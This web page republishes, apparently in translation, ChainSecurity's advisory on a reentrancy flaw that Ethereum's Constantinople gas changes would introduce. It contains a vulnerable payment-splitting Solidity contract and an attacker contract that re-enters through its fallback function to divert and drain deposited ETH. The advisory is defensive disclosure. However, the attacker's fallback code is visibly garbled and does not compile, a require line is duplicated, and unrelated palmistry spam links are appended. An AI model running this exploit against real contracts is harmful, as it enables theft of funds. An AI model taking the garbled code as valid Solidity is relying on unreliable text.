Analysis of Ethereum Constantinople Upgrade Vulnerability

Analysis of Ethereum Constantinople Upgrade Vulnerability
On January 15, ChainSecurity published an article disclosing a vulnerability related to the Ethereum Constantinople hard fork upgrade, believing that this upgrade would introduce a reentrancy attack. This also led to the Ethereum official blog later announcing the decision to postpone the hard fork originally scheduled for block height 7080,000 (approximately the morning of January 17 Beijing time). The following is the details of this vulnerability released by ChainSecurity.

Ethereum's upcoming Constantinople hard fork upgrade will introduce cheaper gas costs for certain SSTORE operations. As an unwanted side effect, reentrancy attacks are now possible when using address.transfer(...) or address.send(...) in smart contracts written in Solidity. Before the upgrade, these functions were considered reentrancy-safe, but after the upgrade they are no longer safe.

What's wrong with this code?

Below is a short smart contract that is not vulnerable to reentrancy attacks before Constantinople, but is vulnerable after Constantinople.

You can find the full source code, including the attacker contract, on GitHub: https://github.com/ChainSecurity/constantinople-reentrancy

pragma solidity ^0.5.0;

contract PaymentSharer { mapping(uint => uint) splits; mapping(uint => uint) deposits; mapping(uint => address payable) first; mapping(uint => address payable) second;

function init(uint id, address payable _first, address payable _second) public { require(first[id] == address(0) && second[id] == address(0)); require(first[id] == address(0) && second[id] == address(0)); first[id] = _first; second[id] = _second; }

function deposit(uint id) public payable { deposits[id] += msg.value; }

function updateSplit(uint id, uint split) public { require(split <= 100); splits[id] = split; }

function splitFunds(uint id) public { // Here would be: // Signatures that both parties agree with this split

// Split address payable a = first[id]; address payable b = second[id]; uint depo = deposits[id]; deposits[id] = 0;

a.transfer(depo * splits[id] / 100); b.transfer(depo * (100 - splits[id]) / 100); } }

An example of the latest vulnerable code.

This code is vulnerable in an unexpected way: it simulates a secure vault sharing service. Two parties can jointly receive funds, decide how to split the funds, and get paid if they agree. The attacker will create a pair of addresses where the first address is the attacker and listed below, and the second address is any attacker account. To this pair of addresses, the attacker will deposit some money.

pragma solidity ^0.5.0;

import "./PaymentSharer.sol";

contract Attacker { address private victim; address payable owner;

constructor() public { owner = msg.sender; }

function attack(address a) external { victim = a; PaymentSharer x = PaymentSharer(a); x.updateSplit(0, 100); x.splitFunds(0); }

function () payable external { address 0, 0)) } }

function drain() external { owner.transfer(address(this).balance); } }

The attacker contract as the first address

The attacker will call the attack function on his own contract, causing the following events to unfold in one transaction:

1. The attacker sets the current split using updateSplit to ensure that future updates are less expensive. This is the effect of the Constantinople upgrade. The attacker sets the split in such a way that his first address (contract) should receive all the funds.

2. The attacker contract calls the splitFunds function, which will perform a check* and use a transfer to send the entire deposit of this pair of addresses to this contract in one transfer.

3. In the fallback function, the attacker updates the split again, this time allocating all funds to his second account.

4. The execution of splitFunds will continue and all deposits will also be transferred to the second attacker account.

In short, the attacker simply stole other people’s ETH from PaymentSharer contract and can continue to do so.

Why can we attack now?

Before Constantinople, every storage operation cost at least 5000 gas. This far exceeds the 2300 gas allowance sent when calling transfer or send .

After the Constantinople upgrade, storage operations that replace "dirty" storage slots only cost 200 gas. To make a slot dirty, it must be changed during an ongoing transaction. As shown above, an attacker can usually achieve this by calling some public function to change the desired variable. Then, by having the vulnerable contract call the attacker contract, such as msg.sender.transfer(…) , the attacker contract can successfully manipulate the vulnerable variable with a 2300 gas allowance.

For a contract to be vulnerable, certain preconditions must be met:

1. There must be a function A in which a transfer/send is followed by a state-changing operation. This is sometimes not obvious, such as a secondary transfer or interaction with another smart contract.

2. There must be a function B that is accessible to the attacker and that (a) changes state and (b) changes state in a way that conflicts with the state of function A.

3. Function B needs to be executed with less than 1600 gas (2300 gas allowance - 700 gas for calling)

Is my smart contract vulnerable?

Test if your contract is vulnerable:

(a) Check if there are any operations after transfer event. (b) Check if those operations change the storage state, usually by assigning some storage variables. If you are calling another contract, such as a token transfer method, check which variables are modified. Make a list. (c) Check if other methods accessed from non-admins use one of these variables. (d) Check if those methods themselves change the storage state (e) Check if the method is under 2300 gas, remember that the SSTORE operation may only be 200 gas.

If all of the above apply to your situation, then it is very likely that an attacker can get your contract into a state that you do not want. Overall, this is another reminder of why the Check - Effects - Interaction pattern is so important.

Are there any vulnerable smart contracts?

Scanning the Ethereum mainchain using data from eveem.org did not reveal any vulnerable smart contracts. We are working with members of the ethsecurity.org working group to expand scanning to complex smart contracts that have not yet been decompiled. In particular, decentralized exchanges, which often call ETH transfer functions to untrusted accounts and then change state, may be vulnerable. Our static analyzer https://securify.chainsecurity.com can detect potential reentrancy attacks, and we have open sourced the relevant patterns at https://github.com/eth-sri/securify. Keep in mind that the warning of reentrancy attacks is not exploitable in many cases, but requires careful analysis.

grateful

Special thanks to Ralph Pichler for the initial discussion of this new attack vector.

Without Tomasz Kolinko's work on decompiling smart contracts using symbolic execution, our fast scan of most Ethereum smart contracts would not have been possible. Once all contracts are protected, we will open source this project.

<<:  UEBOT quantitative trading real-time January 16: short position | cumulative loss of 19%

>>:  The US government shutdown has affected the crypto industry. Will Canaan Creative's IPO in the US also fail?

Recommend

Men who are prone to indulge in alcohol and sex

Men who are prone to indulge in alcohol and sex E...

Who has the best popularity based on face

Who has the best popularity based on face At home...

What does a short chin mean?

Some women have normal chins when viewed from the...

Chin face analysis: What kind of chin is the best?

Everyone knows about physiognomy. The ancients oft...

Europol creates dedicated unit to combat Bitcoin money laundering

Introduction: The European Commission is still wo...

What does a face with horizontal lines on the root of the mountain mean?

Many people worry that the horizontal lines on th...

Will women with the "川" palm have unhappy marriages?

Will women with the "川" palm have unhap...

The woman's right hand is broken, she is so tough

Palmistry is a common way of looking at one's...

Personality traits of people with broken palm lines

Personality traits of people with broken palm lin...

What kind of woman can successfully control a man?

For women who are lucky in marriage, some people ...

How to select technicians based on facial features

Technical personnel are talents with professional...

Mole diagram: the position of moles on the back and the fate map

What does a mole on the back mean? In mole physio...